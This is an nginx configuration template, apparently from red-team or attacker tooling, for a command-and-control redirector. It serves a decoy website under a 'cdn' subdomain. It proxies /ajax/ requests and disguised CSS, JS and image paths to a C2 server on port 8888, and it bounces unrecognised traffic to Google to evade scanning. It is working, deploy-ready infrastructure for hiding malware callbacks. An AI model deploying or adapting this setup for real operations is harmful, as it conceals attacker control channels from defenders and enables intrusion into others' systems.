server {
    listen 80;
    listen [::]:80;
    server_name cdn.{{ domain }};
    
    # Root directory
    root /var/www/html;
    index index.html;
    
    # Primary location for legitimate website traffic
    location / {
        try_files $uri $uri/ =404;
    }
    
    # Special URI patterns for C2 traffic
    location /ajax/ {
        proxy_pass http://{{ c2_ip }}:8888;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
    }
    
    # Static resources that redirect to C2
    location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
        proxy_pass http://{{ c2_ip }}:8888;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

# Catch-all server block
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    
    # Redirect unknown traffic
    return 301 https://www.google.com;
}